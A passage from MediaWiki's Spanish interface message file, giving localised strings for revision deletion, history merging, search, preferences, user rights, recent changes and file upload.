Otros administradores de {{SITENAME}} aún podrán acceder al contenido oculto y podrán deshacer el borrado a través de la misma interfaz, a menos que se establezcan restricciones adicionales.",
'revdelete-confirm' => 'Por favor confirma que deseas realizar la operación, que entiendes las consecuencias y que estás ejecutando dicha acción acorde con [[{{MediaWiki:Policy-url}}|las políticas]].',
'revdelete-suppress-text' => "La herramienta de supresión '''solo''' debería usarse en los siguientes casos:
* información potencialmente injuriosa o calumniante.
* información personal inapropiada, tal como:
*: ''nombres, domicilios, números de teléfono, números de la seguridad social e información análoga.''",
'revdelete-legend' => 'Establecer restricciones de revisión:',
'revdelete-hide-text' => 'Texto de la revisión',
'revdelete-hide-image' => 'Ocultar el contenido del archivo',
'revdelete-hide-name' => 'Ocultar acción y objetivo',
'revdelete-hide-comment' => 'Resumen de edición',
'revdelete-hide-user' => 'Nombre/IP del editor',
'revdelete-hide-restricted' => 'Suprimir datos a los administradores así como al resto',
'revdelete-radio-same' => '(no cambiar)',
'revdelete-radio-set' => 'Oculta',
'revdelete-radio-unset' => 'Visible',
'revdelete-suppress' => 'Suprimir datos a los administradores así como al resto',
'revdelete-unsuppress' => 'Eliminar restricciones de revisiones restauradas',
'revdelete-log' => 'Motivo:',
'revdelete-submit' => 'Aplicar a {{PLURAL:$1|la revisión seleccionada|las revisiones seleccionadas}}',
'revdelete-success' => "'''La visibilidad de revisiones ha sido cambiada correctamente.'''",
'revdelete-failure' => "'''La visibilidad de la revisión no pudo ser establecida:'''
$1",
'logdelete-success' => 'Visibilidad de eventos cambiada correctamente.',
'logdelete-failure' => "'''La visibilidad del registro no pudo ser ajustada:'''
$1",
'revdel-restore' => 'cambiar visibilidad',
'pagehist' => 'Historial de la página',
'deletedhist' => 'Historial borrado',
'revdelete-hide-current' => 'Error al ocultar el objeto de fecha $1 a las $2: es la revisión actual.
No puede ser ocultada.',
'revdelete-show-no-access' => 'Error mostrando el objeto de fecha $2, $1: este objeto ha sido marcado como "restringido".
No tiene acceso a él.',
'revdelete-modify-no-access' => 'Error modificando el objeto de fecha $2, $1: este objeto ha sido marcado como "restringido".
No tiene acceso a él.',
'revdelete-modify-missing' => 'Error modificando el objeto ID $1: ¡no se encuentra en la base de datos!',
'revdelete-no-change' => "'''Atención:''' la revisión de fecha $1 a las $2 ya tiene las restricciones de visibilidad solicitadas.",
'revdelete-concurrent-change' => 'Error modificando el objeto de fecha $2, $1: su estado parece haber sido cambiado por alguien más cuando tratabas de modificarlo. Por favor verifica los registros.',
'revdelete-only-restricted' => 'Error ocultando el item de fecha $2, $1: no puedes suprimir elementos de vista de los administradores sin seleccionar asímismo una de las otras opciones de visibilidad.',
'revdelete-reason-dropdown' => '*Razones de borrado comunes
** Violación a los derechos de autor
** Comentario o información personal inapropiados
** Nombre de usuario inapropiado
** Información potencialmente injuriosa o calumniante',
'revdelete-otherreason' => 'Otro motivo:',
'revdelete-reasonotherlist' => 'Otro motivo',
'revdelete-edit-reasonlist' => 'Editar motivos de borrado',
'revdelete-offender' => 'Autor de la revisión:',
# Suppression log
'suppressionlog' => 'Registro de supresiones',
'suppressionlogtext' => 'A continuación hay una lista con los borrados y bloqueos cuyo contenido se encuentra oculto para los administradores.
Véase la [[Special:BlockList|lista de bloqueos]] que incluye las prohibiciones y bloqueos actualmente operativos.',
# History merging
'mergehistory' => 'Fusionar historiales de páginas',
'mergehistory-header' => 'Esta página te permite fusionar revisiones del historial de una página origen en otra más reciente.
Asegúrate de que esto mantendrá la continuidad histórica de la página.',
'mergehistory-box' => 'Fusionar los historiales de dos páginas:',
'mergehistory-from' => 'Página origen:',
'mergehistory-into' => 'Página destino:',
'mergehistory-list' => 'Historial de ediciones fusionable',
'mergehistory-merge' => 'Las siguientes revisiones de [[:$1]] pueden fusionarse en [[:$2]].
Usa la columna de casillas para fusionar sólo las revisiones creadas en y antes de la fecha especificada.
Nota que usar los enlaces de navegación borrará las selecciones de esta columna.',
'mergehistory-go' => 'Mostrar ediciones fusionables',
'mergehistory-submit' => 'Fusionar revisiones',
'mergehistory-empty' => 'No hay revisiones fusionables.',
'mergehistory-success' => '$3 {{PLURAL:$3|revisión|revisiones}} de [[:$1]] fusionadas de forma exitosa en [[:$2]].',
'mergehistory-fail' => 'No se puede realizar la fusión de historiales, por favor revisa la página y los parámetros de tiempo.',
'mergehistory-no-source' => 'La página origen $1 no existe.',
'mergehistory-no-destination' => 'La página destino $1 no existe.',
'mergehistory-invalid-source' => 'La página origen debe tener un título válido.',
'mergehistory-invalid-destination' => 'La página de destino ha de tener un título válido.',
'mergehistory-autocomment' => 'Fusionando [[:$1]] en [[:$2]]',
'mergehistory-comment' => 'Fusionando [[:$1]] en [[:$2]]: $3',
'mergehistory-same-destination' => 'Las páginas de origen y destino no pueden ser la misma',
'mergehistory-reason' => 'Motivo:',
# Merge log
'mergelog' => 'Registro de fusiones',
'pagemerge-logentry' => 'fusionó [[$1]] en [[$2]] (revisiones hasta $3)',
'revertmerge' => 'Deshacer fusión',
'mergelogpagetext' => 'Debajo está una lista de las fusiones más recientes de historial de una página en otra.',
# Diffs
'history-title' => 'Historial de revisiones para «$1»',
'difference-title' => 'Diferencia entre revisiones de «$1»',
'difference-title-multipage' => 'Diferencia entre las páginas «$1» y «$2»',
'difference-multipage' => '(Diferencia entre las páginas)',
'lineno' => 'Línea $1:',
'compareselectedversions' => 'Comparar versiones seleccionadas',
'showhideselectedversions' => 'Mostrar/ocultar versiones seleccionadas',
'editundo' => 'deshacer',
'diff-empty' => '(Sin diferencias)',
'diff-multi-sameuser' => '({{PLURAL:$1|Una revisión intermedia|$1 revisiones intermedias}} por el mismo usuario no mostrado)',
'diff-multi-manyusers' => '(No se {{PLURAL:$1|muestra una edición intermedia|muestran $1 ediciones intermedias}} de {{PLURAL:$2|un usuario|$2 usuarios}})',
'difference-missing-revision' => 'No {{PLURAL:$2|se ha encontrado|se han encontrado}} {{PLURAL:$2|una revisión|$2 revisiones}} de esta diferencia ($1).
Esto suele deberse a seguir un enlace obsoleto hacia una página que ya ha sido borrada.
Los detalles pueden encontrarse en el [{{fullurl:{{#Special:Log}}/delete|page={{FULLPAGENAMEE}}}} registro de borrado].',
# Search results
'searchresults' => 'Resultados de la búsqueda',
'searchresults-title' => 'Resultados de la búsqueda de «$1»',
'toomanymatches' => 'Se han obtenido muchos resultados; por favor intenta una consulta diferente',
'titlematches' => 'Coincidencias de título de artículo',
'textmatches' => 'Coincidencias de texto de artículo',
'notextmatches' => 'No hay coincidencias de texto de artículo',
'prevn' => '{{PLURAL:$1|$1}} previas',
'nextn' => '{{PLURAL:$1|$1}} siguientes',
'prevn-title' => '$1 {{PLURAL:$1|resultado|resultados}} previos',
'nextn-title' => 'Próximos $1 {{PLURAL:$1|resultado|resultados}}',
'shown-title' => 'Mostrar $1 {{PLURAL:$1|resultado|resultados}} por página',
'viewprevnext' => 'Ver ($1 {{int:pipe-separator}} $2) ($3).',
'searchmenu-exists' => "'''Hay una página llamada \"[[:\$1]]\" en esta wiki.'''",
'searchmenu-new' => '<strong>Crear la página «[[:$1]]» en este wiki.</strong> {{PLURAL:$2|0=|Véase también la página encontrada con la búsqueda.|Véanse también los resultados de la búsqueda.}}',
'searchprofile-articles' => 'Páginas de contenido',
'searchprofile-project' => 'Páginas de ayuda y de proyecto',
'searchprofile-images' => 'Multimedia',
'searchprofile-everything' => 'Todo',
'searchprofile-advanced' => 'Avanzado',
'searchprofile-articles-tooltip' => 'Buscar en $1',
'searchprofile-project-tooltip' => 'Buscar en $1',
'searchprofile-images-tooltip' => 'Buscar archivos',
'searchprofile-everything-tooltip' => 'Buscar en todo el contenido (incluyendo páginas de discusión)',
'searchprofile-advanced-tooltip' => 'Buscar en espacios de nombres personalizados',
'search-result-size' => '$1 ({{PLURAL:$2|1 palabra|$2 palabras}})',
'search-result-category-size' => '{{PLURAL:$1|1 miembro|$1 miembros}} ({{PLURAL:$2|1 subcategoría|$2 subcategorías}}, {{PLURAL:$3|1 fichero|$3 ficheros}})',
'search-result-score' => 'Relevancia: $1%',
'search-redirect' => '(redirige desde $1)',
'search-section' => '(sección $1)',
'search-file-match' => '(coincide con el contenido del archivo)',
'search-suggest' => 'Quizás quieres buscar: $1',
'search-interwiki-caption' => 'Proyectos hermanos',
'search-interwiki-default' => 'Resultados de $1:',
'search-interwiki-more' => '(más)',
'search-relatedarticle' => 'Relacionado',
'searcheverything-enable' => 'Buscar en todos los espacios de nombres',
'searchrelated' => 'relacionado',
'searchall' => 'todos',
'showingresults' => "Abajo se {{PLURAL:$1|muestra '''1''' resultado|muestran hasta '''$1''' resultados}} comenzando por el n.º '''$2'''.",
'showingresultsnum' => "Abajo se {{PLURAL:$3|muestra '''1''' resultado|muestran los '''$3''' resultados}} comenzando por el n.º '''$2'''.",
'showingresultsheader' => "{{PLURAL:$5|Resultado '''$1''' de '''$3'''|Resultados '''$1-$2''' de '''$3'''}} para '''$4'''",
'search-nonefound' => 'No hay resultados que cumplan los criterios de búsqueda.',
'powersearch-legend' => 'Búsqueda avanzada',
'powersearch-ns' => 'Buscar en los espacios de nombres:',
'powersearch-redir' => 'Listar redirecciones',
'powersearch-togglelabel' => 'Seleccionar:',
'powersearch-toggleall' => 'Todos',
'powersearch-togglenone' => 'Ninguno',
'search-external' => 'Búsqueda externa',
'searchdisabled' => 'Las búsquedas en {{SITENAME}} están temporalmente desactivadas.
Mientras tanto puedes buscar mediante Google, pero ten en cuenta que sus índices relativos a {{SITENAME}} pueden estar desactualizados.',
'search-error' => 'Ha ocurrido un error al buscar: $1',
# Preferences page
'preferences' => 'Preferencias',
'mypreferences' => 'Preferencias',
'prefs-edits' => 'Cantidad de ediciones:',
'prefsnologintext2' => 'Necesitas $1 para definir las preferencias del usuario.',
'prefs-skin' => 'Apariencia',
'skin-preview' => 'Previsualizar',
'datedefault' => 'Sin preferencia',
'prefs-beta' => 'Funciones en pruebas',
'prefs-datetime' => 'Fecha y hora',
'prefs-labs' => 'Características de los laboratorios',
'prefs-user-pages' => 'Páginas de usuario',
'prefs-personal' => 'Perfil de usuario',
'prefs-rc' => 'Cambios recientes',
'prefs-watchlist' => 'Seguimiento',
'prefs-watchlist-days' => 'Número de días a mostrar en la lista de seguimiento:',
'prefs-watchlist-days-max' => 'Máximo $1 {{PLURAL:$1|día|días}}',
'prefs-watchlist-edits' => 'Número de ediciones a mostrar en la lista expandida:',
'prefs-watchlist-edits-max' => 'Cantidad máxima: 1000',
'prefs-watchlist-token' => 'Ficha de lista de seguimiento:',
'prefs-misc' => 'Miscelánea',
'prefs-resetpass' => 'Cambiar contraseña',
'prefs-changeemail' => 'Cambiar correo electrónico',
'prefs-setemail' => 'Establecer una dirección de correo electrónico',
'prefs-email' => 'Opciones de correo electrónico',
'prefs-rendering' => 'Apariencia',
'saveprefs' => 'Guardar',
'restoreprefs' => 'Restaurar la configuración predeterminada',
'prefs-editing' => 'Edición',
'rows' => 'Filas:',
'columns' => 'Columnas:',
'searchresultshead' => 'Búsquedas',
'stub-threshold' => 'Límite para formato de <a href="#" class="stub">enlace a esbozo</a> (bytes):',
'stub-threshold-disabled' => 'Desactivado',
'recentchangesdays' => 'Días a mostrar en cambios recientes:',
'recentchangesdays-max' => '(máximo {{PLURAL:$1|un día|$1 días}})',
'recentchangescount' => 'Número de ediciones a mostrar de manera predeterminada:',
'prefs-help-recentchangescount' => 'Esto incluye cambios recientes, historiales de página, y registros.',
'prefs-help-watchlist-token2' => 'Esta es la clave secreta para el canal de contenido web de tu lista de seguimiento.
Cualquier persona que la conozca podría leer tu lista, así que no la compartas.
[[Special:ResetTokens|Pulsa aquí si necesitas restablecerla]].',
'savedprefs' => 'Se han guardado tus preferencias.',
'timezonelegend' => 'Huso horario:',
'localtime' => 'Hora local:',
'timezoneuseserverdefault' => 'Usar la hora del servidor ($1)',
'timezoneuseoffset' => 'Otra (especifica la diferencia horaria)',
'servertime' => 'Hora del servidor:',
'guesstimezone' => 'Rellenar a partir de la hora del navegador',
'timezoneregion-africa' => 'África',
'timezoneregion-america' => 'América',
'timezoneregion-antarctica' => 'Antártida',
'timezoneregion-arctic' => 'Ártico',
'timezoneregion-asia' => 'Asia',
'timezoneregion-atlantic' => 'Océano Atlántico',
'timezoneregion-australia' => 'Australia',
'timezoneregion-europe' => 'Europa',
'timezoneregion-indian' => 'Océano Índico',
'timezoneregion-pacific' => 'Océano Pacífico',
'allowemail' => 'Aceptar correo electrónico de otros usuarios',
'prefs-searchoptions' => 'Buscar',
'prefs-namespaces' => 'Espacios de nombres',
'defaultns' => 'De lo contrario, buscar en estos espacios de nombres:',
'default' => 'predeterminado',
'prefs-files' => 'Archivos',
'prefs-custom-css' => 'CSS personalizado',
'prefs-custom-js' => 'JavaScript personalizado',
'prefs-common-css-js' => 'CSS/JS compartido para todas las skins:',
'prefs-reset-intro' => 'Puedes usar esta página para restaurar tus preferencias a las predeterminadas del sitio.
Esto no se puede deshacer.',
'prefs-emailconfirm-label' => 'Confirmación de correo electrónico:',
'youremail' => 'Correo electrónico:',
'username' => '{{GENDER:$1|Nombre de usuario|Nombre de usuaria}}:',
'uid' => 'ID de {{GENDER:$1|usuario|usuaria}}:',
'prefs-memberingroups' => '{{GENDER:$2|Miembro}} {{PLURAL:$1|del grupo|de los grupos}}:',
'prefs-registration' => 'Fecha y hora de registro:',
'yourrealname' => 'Nombre real:',
'yourlanguage' => 'Idioma:',
'yourvariant' => 'Variante lingüística del contenido:',
'prefs-help-variant' => 'Tu variante u ortografía preferida para mostrar las páginas de contenido de este wiki.',
'yournick' => 'Firma nueva:',
'prefs-help-signature' => 'Los comentarios en páginas de discusión deberían firmarse con «<nowiki>~~~~</nowiki>», que se convertirá en tu firma con fecha y hora.',
'badsig' => 'El código de tu firma no es válido; comprueba las etiquetas HTML.',
'badsiglength' => 'Tu firma es muy larga.
Debe contener un máximo de {{PLURAL:$1|un carácter|$1 caracteres}}.',
'yourgender' => 'Sexo:',
'gender-unknown' => 'Prefiero no especificarlo',
'gender-male' => 'Masculino',
'gender-female' => 'Femenino',
'prefs-help-gender' => 'Opcional: empleado para que sea usado correctamente el género por parte del software. Esta información será pública.',
'email' => 'Correo electrónico',
'prefs-help-realname' => 'El nombre real es opcional. Si decides proporcionarlo, se usará para dar atribución a tu trabajo.',
'prefs-help-email' => 'La dirección de correo electrónico es opcional, pero es necesaria para el restablecimiento de tu contraseña, en caso de que la olvides.',
'prefs-help-email-others' => 'También puedes permitir que otros usuarios te contacten por correo a través de un enlace en tus páginas de usuario y de discusión.
Tu dirección de correo no se revela cuando otros usuarios te contactan.',
'prefs-help-email-required' => 'Es necesario proporcionar una dirección de correo electrónico.',
'prefs-info' => 'Información básica',
'prefs-i18n' => 'Internacionalización',
'prefs-signature' => 'Firma',
'prefs-dateformat' => 'Formato de fecha',
'prefs-timeoffset' => 'Diferencia horaria',
'prefs-advancedediting' => 'Opciones generales',
'prefs-editor' => 'Editor',
'prefs-preview' => 'Previsualización',
'prefs-advancedrc' => 'Opciones avanzadas',
'prefs-advancedrendering' => 'Opciones avanzadas',
'prefs-advancedsearchoptions' => 'Opciones avanzadas',
'prefs-advancedwatchlist' => 'Opciones avanzadas',
'prefs-displayrc' => 'Opciones de mostrado',
'prefs-displaysearchoptions' => 'Opciones de visualización',
'prefs-displaywatchlist' => 'Opciones de visualización',
'prefs-tokenwatchlist' => 'Clave',
'prefs-diffs' => 'Diferencias',
'prefs-help-prefershttps' => 'Esta preferencia tendrá efecto en tu próximo inicio de sesión.',
'prefs-tabs-navigation-hint' => 'Sugerencia: Puede utilizar las teclas de flecha izquierda y derecha para navegar entre las pestañas de la lista de pestañas.',
# User preference: email validation using jQuery
'email-address-validity-valid' => 'La dirección de correo electrónico parece ser válida',
'email-address-validity-invalid' => 'Introduce una dirección de correo válida',
# User rights
'userrights' => 'Gestión de permisos del usuario',
'userrights-lookup-user' => 'Configurar grupos de usuarios',
'userrights-user-editname' => 'Escriba un nombre de usuario:',
'editusergroup' => 'Modificar grupos de usuarios',
'editinguser' => "Cambiando los derechos del usuario '''[[User:$1|$1]]''' $2",
'userrights-editusergroup' => 'Modificar grupos de usuarios',
'saveusergroups' => 'Guardar grupos de usuarios',
'userrights-groupsmember' => 'Miembro de:',
'userrights-groupsmember-auto' => 'Miembro implícito de:',
'userrights-groups-help' => 'Puedes modificar los grupos a los que pertenece {{GENDER:$1|este usuario|esta usuaria}}:
* Un recuadro marcado significa que {{GENDER:$1|el usuario|la usuaria}} está en ese grupo.
* Un recuadro no marcado significa que {{GENDER:$1|el usuario|la usuaria}} no está en ese grupo.
* Un * indica que no podrás eliminar el grupo una vez que lo agregues, o viceversa.',
'userrights-reason' => 'Motivo:',
'userrights-no-interwiki' => 'No tienes permiso para editar los grupos a los que pertenece un usuario en otros wikis.',
'userrights-nodatabase' => 'La base de datos $1 no existe o no es local.',
'userrights-nologin' => 'Debes [[Special:UserLogin|iniciar sesión]] con una cuenta de administrador para poder editar los grupos de los usuarios.',
'userrights-notallowed' => 'No tienes permiso para agregar o quitar derechos de usuario.',
'userrights-changeable-col' => 'Grupos que puedes cambiar',
'userrights-unchangeable-col' => 'Grupos que no puedes cambiar',
'userrights-conflict' => '¡Conflicto de cambio de los derechos de usuario! Por favor, revisar y confirmar tus cambios.',
'userrights-removed-self' => 'Usted eliminado con éxito sus propios derechos. Por lo tanto, usted ya no es capaz de acceder a esta página.',
# Groups
'group' => 'Grupo:',
'group-user' => 'Usuarios',
'group-autoconfirmed' => 'Usuarios autoconfirmados',
'group-bot' => 'Bots',
'group-sysop' => 'Administradores',
'group-bureaucrat' => 'Burócratas',
'group-suppress' => 'Supresores de ediciones',
'group-all' => '(todos)',
'group-user-member' => '{{GENDER:$1|usuario|usuaria}}',
'group-autoconfirmed-member' => '{{GENDER:$1|usuario autoconfirmado|usuaria autoconfirmada}}',
'group-bot-member' => 'bot',
'group-sysop-member' => '{{GENDER:$1|administrador|administradora}}',
'group-bureaucrat-member' => 'burócrata',
'group-suppress-member' => '{{GENDER:$1|supresor|supresora}} de ediciones',
'grouppage-user' => '{{ns:project}}:Usuarios',
'grouppage-autoconfirmed' => '{{ns:project}}:Usuarios autoconfirmados',
'grouppage-bot' => '{{ns:project}}:Bots',
'grouppage-sysop' => '{{ns:project}}:Administradores',
'grouppage-bureaucrat' => '{{ns:project}}:Burócratas',
'grouppage-suppress' => '{{ns:project}}:Supresores de ediciones',
# Rights
'right-read' => 'Leer páginas',
'right-edit' => 'Editar páginas',
'right-createpage' => 'Crear páginas que no sean páginas de discusión',
'right-createtalk' => 'Crear páginas de discusión',
'right-createaccount' => 'Crear cuentas de usuario nuevas',
'right-minoredit' => 'Marcar ediciones como menores',
'right-move' => 'Trasladar páginas',
'right-move-subpages' => 'Trasladar páginas con sus subpáginas',
'right-move-rootuserpages' => 'Trasladar páginas de usuario raíz',
'right-movefile' => 'Trasladar archivos',
'right-suppressredirect' => 'No crear redirecciones de las páginas fuente al trasladar páginas',
'right-upload' => 'Subir archivos',
'right-reupload' => 'Subir una nueva versión de un archivo existente',
'right-reupload-own' => 'Subir una nueva versión de un archivo creado por uno mismo',
'right-reupload-shared' => 'Sobreescribir localmente ficheros del repositorio multimedia',
'right-upload_by_url' => 'Subir un archivo a traves de un URL',
'right-purge' => 'Purgar la caché en el servidor sin tener que dar confirmación',
'right-autoconfirmed' => 'No ser afectado por los límites de frecuencia basados en el IP',
'right-bot' => 'Ser tratado como un programa automático',
'right-nominornewtalk' => 'No accionar el aviso de nuevos mensajes al realizar ediciones menores de páginas de discusión',
'right-apihighlimits' => 'Tener límites más altos de peticiones a través del API',
'right-writeapi' => 'Hacer uso del API para escribir',
'right-delete' => 'Borrar páginas',
'right-bigdelete' => 'Borrar páginas con historiales grandes',
'right-deletelogentry' => 'Borrar y recuperar entradas de registro específicas',
'right-deleterevision' => 'Borrar y restaurar revisiones específicas de páginas',
'right-deletedhistory' => 'Ver el historial de páginas borradas, sin el texto asociado',
'right-deletedtext' => 'Ver texto borrado y cambios entre revisiones borradas',
'right-browsearchive' => 'Buscar páginas borradas',
'right-undelete' => 'Restaurar una página',
'right-suppressrevision' => 'Revisar y restaurar revisiones escondidas por administradores',
'right-suppressionlog' => 'Ver registros privados',
'right-block' => 'Bloquear a otros usuarios para que no editen',
'right-blockemail' => 'Bloquear a un usuario para que no pueda mandar correos electrónicos',
'right-hideuser' => 'Bloquear un nombre de usuario, haciéndolo invisible',
'right-ipblock-exempt' => 'Pasar por encima de bloqueos de IPs, auto-bloqueos y bloqueos de rangos.',
'right-proxyunbannable' => 'Pasar por encima de bloqueos automáticos de proxies',
'right-unblockself' => 'Desbloquearse uno mismo',
'right-protect' => 'Cambiar niveles de protección y editar páginas protegidas en cascada',
'right-editprotected' => 'Editar páginas protegidas como «{{int:protect-level-sysop}}»',
'right-editsemiprotected' => 'Editar páginas protegidas como «{{int:protect-level-autoconfirmed}}»',
'right-editinterface' => 'Editar la interfaz de usuario',
'right-editusercssjs' => 'Editar las páginas de CSS y JS de otros usuarios',
'right-editusercss' => 'Editar las páginas de CSS de otros usuarios',
'right-edituserjs' => 'Editar las páginas de JS de otros usuarios',
'right-editmyusercss' => 'Editar tus archivos de usuario CSS',
'right-editmyuserjs' => 'Editar tus propios archivos JavaScript de usuario',
'right-viewmywatchlist' => 'Ver tu lista de seguimiento',
'right-editmywatchlist' => 'Editar tu lista de seguimiento. Algunas acciones seguirán agregando páginas aún sin este derecho.',
'right-viewmyprivateinfo' => 'Ver tu información privada (ej. email, nombre real)',
'right-editmyprivateinfo' => 'Editar tus propios datos privados (ej: email, nombre real)',
'right-editmyoptions' => 'Editar tus propias preferencias',
'right-rollback' => 'Revertir rápidamente las ediciones del último usuario que modificó una página en particular',
'right-markbotedits' => 'Marcar ediciones deshechas como ediciones de un bot',
'right-noratelimit' => 'No afectado por límites de frecuencia',
'right-import' => 'Importar páginas desde otras wikis',
'right-importupload' => 'Importar páginas de un archivo subido',
'right-patrol' => 'Marcar ediciones de otros como patrulladas',
'right-autopatrol' => 'Marcar como patrulladas sus ediciones automáticamente',
'right-patrolmarks' => 'Ver las marcas de patrullaje de cambios recientes',
'right-unwatchedpages' => 'Ver una lista de páginas no vigiladas',
'right-mergehistory' => 'Fusionar historiales',
'right-userrights' => 'Modificar todos los derechos de usuario',
'right-userrights-interwiki' => 'Modificar los derechos de usuarios en otros wikis',
'right-siteadmin' => 'Bloquear y desbloquear la base de datos',
'right-override-export-depth' => 'Exporta páginas incluyendo aquellas enlazadas hasta una profundidad de 5',
'right-sendemail' => 'Enviar un correo electrónico a otros usuarios',
'right-passwordreset' => 'Ver os correos electrónicos de restablecimiento de contraseñas',
# Special:Log/newusers
'newuserlogpage' => 'Registro de creación de usuarios',
'newuserlogpagetext' => 'Este es un registro de creación de usuarios.',
# User rights log
'rightslog' => 'Cambios de perfil de usuario',
'rightslogtext' => 'Este es un registro de cambios en los permisos de usuarios.',
# Associated actions - in the sentence "You do not have permission to X"
'action-read' => 'leer esta página',
'action-edit' => 'modificar esta página',
'action-createpage' => 'crear páginas',
'action-createtalk' => 'crear páginas de discusión',
'action-createaccount' => 'crear esta cuenta de usuario',
'action-minoredit' => 'marcar este cambio como menor',
'action-move' => 'trasladar esta página',
'action-move-subpages' => 'trasladar esta página y sus subpáginas',
'action-move-rootuserpages' => 'trasladar páginas de usuario raíz',
'action-movefile' => 'trasladar este archivo',
'action-upload' => 'subir este archivo',
'action-reupload' => 'reemplazar este archivo existente',
'action-reupload-shared' => 'reemplazar este archivo existente en un depósito compartido',
'action-upload_by_url' => 'subir este archivo desde una dirección URL',
'action-writeapi' => 'utilizar el API de escritura',
'action-delete' => 'borrar esta página',
'action-deleterevision' => 'borrar esta revisión',
'action-deletedhistory' => 'ver el historial borrado de esta página',
'action-browsearchive' => 'buscar páginas borradas',
'action-undelete' => 'recuperar esta página',
'action-suppressrevision' => 'revisar y restaurar esta revisión escondida',
'action-suppressionlog' => 'ver este registro privado',
'action-block' => 'bloquear a este usuario para que no edite',
'action-protect' => 'cambiar los niveles de protección para esta página',
'action-rollback' => 'revertir rápidamente las ediciones del último usuario que modificó una página en particular',
'action-import' => 'importar páginas desde otro wiki',
'action-importupload' => 'importar páginas mediante la carga de un archivo',
'action-patrol' => 'marcar ediciones de otros como patrulladas',
'action-autopatrol' => 'marcar como patrulladas tus propias ediciones',
'action-unwatchedpages' => 'ver la lista de páginas no vigiladas',
'action-mergehistory' => 'fusionar el historial de esta página',
'action-userrights' => 'modificar todos los derechos de usuario',
'action-userrights-interwiki' => 'modificar los derechos de usuarios en otros wikis',
'action-siteadmin' => 'bloquear o desbloquear la base de datos',
'action-sendemail' => 'enviar correos electrónicos',
'action-editmywatchlist' => 'Editar tu lista de seguimiento',
'action-viewmywatchlist' => 'Ver tu lista de seguimiento',
'action-viewmyprivateinfo' => 'ver tu información privada',
'action-editmyprivateinfo' => 'Editar tu información privada',
# Recent changes
'nchanges' => '$1 {{PLURAL:$1|cambio|cambios}}',
'enhancedrc-since-last-visit' => '$1 {{PLURAL:$1|desde la última visita}}',
'enhancedrc-history' => 'historial',
'recentchanges' => 'Cambios recientes',
'recentchanges-legend' => 'Opciones sobre cambios recientes',
'recentchanges-summary' => 'Sigue los cambios más recientes de la wiki en esta página.',
'recentchanges-noresult' => 'No hubo cambios durante el período seleccionado que respondan a esos criterios.',
'recentchanges-feed-description' => 'Realiza un seguimiento de los cambios más recientes en el wiki en este canal.',
'recentchanges-label-newpage' => 'Esta edición creó una nueva página',
'recentchanges-label-minor' => 'Esta es una edición menor',
'recentchanges-label-bot' => 'Esta edición fue realizada por un robot',
'recentchanges-label-unpatrolled' => 'Esta edición todavía no se ha patrullado',
'recentchanges-label-plusminus' => 'El tamaño de la página cambió esta cantidad de bytes',
'recentchanges-legend-heading' => "'''Leyenda:'''",
'recentchanges-legend-newpage' => '(véase también la [[Special:NewPages|lista de páginas nuevas]])',
'rcnotefrom' => 'A continuación se muestran los cambios desde <b>$2</b> (hasta <b>$1</b>).',
'rclistfrom' => 'Mostrar nuevos cambios desde $1',
'rcshowhideminor' => '$1 ediciones menores',
'rcshowhidebots' => '$1 bots',
'rcshowhideliu' => '$1 usuarios registrados',
'rcshowhideanons' => '$1 usuarios anónimos',
'rcshowhidepatr' => '$1 ediciones patrulladas',
'rcshowhidemine' => '$1 mis ediciones',
'rclinks' => 'Ver los últimos $1 cambios en los últimos $2 días.<br />$3',
'diff' => 'dif',
'hist' => 'hist',
'hide' => 'Ocultar',
'show' => 'mostrar',
'minoreditletter' => 'm',
'newpageletter' => 'N',
'boteditletter' => 'b',
'number_of_watching_users_pageview' => '[$1 {{PLURAL:$1|usuario|usuarios}} vigilando]',
'rc_categories' => 'Limitar a las categorías (separadas por «|»)',
'rc_categories_any' => 'Cualquiera',
'rc-change-size-new' => '$1 {{PLURAL:$1|byte|bytes}} después del cambio',
'newsectionsummary' => 'Nueva sección: /* $1 */',
'rc-enhanced-expand' => 'Mostrar detalles',
'rc-enhanced-hide' => 'Ocultar detalles',
'rc-old-title' => 'originalmente creado como "$1"',
# Recent changes linked
'recentchangeslinked' => 'Cambios relacionados',
'recentchangeslinked-feed' => 'Cambios relacionados',
'recentchangeslinked-toolbox' => 'Cambios relacionados',
'recentchangeslinked-title' => 'Cambios relacionados con «$1»',
'recentchangeslinked-summary' => "Esta página es una lista de los últimos cambios en las páginas enlazadas desde una página (o en las pertenecientes a una categoría). Las páginas que están en tu [[Special:Watchlist|lista de seguimiento]] aparecen en '''negrita'''.",
'recentchangeslinked-page' => 'Nombre de la página:',
'recentchangeslinked-to' => 'Muestra los cambios recientes en lugar de la página indicada',
# Upload
'upload' => 'Subir un archivo',
'uploadbtn' => 'Subir un archivo',
'reuploaddesc' => 'Regresar al formulario para subir.',
'upload-tryagain' => 'Envíe la descripción del archivo modificado',
'uploadnologin' => 'No has iniciado sesión',
'uploadnologintext' => 'Tienes que $1 para subir archivos.',
'upload_directory_missing' => 'El directorio de subida de archivos ($1) no existe, y no puede ser creado por el servidor.',
'upload_directory_read_only' => 'El servidor web no puede escribir en el directorio de subida de archivos ($1).',
'uploaderror' => 'Error al intentar subir archivo',
'upload-recreate-warning' => "'''Aviso: Un archivo con ese nombre ha sido eliminado o renombrado.'''
A continuación se muestra el registro de borrados y traslados de esta página:",
'uploadtext' => "Utiliza el siguiente formulario para subir archivos.
Para ver o buscar archivos subidos con anterioridad, ve a la [[Special:FileList|lista de archivos subidos]].
Los archivos subidos quedarán registrados además en el [[Special:Log/upload|registro de archivos subidos]] y los borrados en el [[Special:Log/delete|registro de borrados]].
Para incluir un archivo en una página, usa un enlace como los mostrados a continuación:
* '''<code><nowiki>[[</nowiki>{{ns:file}}<nowiki>:File.jpg]]</nowiki></code>''' para usar el fichero en tamaño completo
* '''<code><nowiki>[[</nowiki>{{ns:file}}<nowiki>:File.png|200px|thumb|left|texto descriptivo]]</nowiki></code>''' para una versión de 200 píxeles de ancho en una caja en el margen izquierdo con 'texto descriptivo' como descripción
* '''<code><nowiki>[[</nowiki>{{ns:media}}<nowiki>:File.ogg]]</nowiki></code>''' para enlazar directamente al fichero sin mostrarlo.",
'upload-permitted' => 'Tipos de archivo permitidos: $1.',
'upload-preferred' => 'Tipos de archivo preferidos: $1.',
'upload-prohibited' => 'Tipos de archivo prohibidos: $1.',
'uploadlog' => 'registro de subidas',
'uploadlogpage' => 'Subidas de archivos',
'uploadlogpagetext' => 'Abajo hay una lista de los últimos archivos subidos.
Mira la [[Special:NewFiles|galería de archivos nuevos]] para una descripción visual',
'filename' => 'Nombre del archivo',
'filedesc' => 'Sumario',
'fileuploadsummary' => 'Descripción:',
'filereuploadsummary' => 'Cambios de archivo:',
'filestatus' => 'Estado de copyright:',
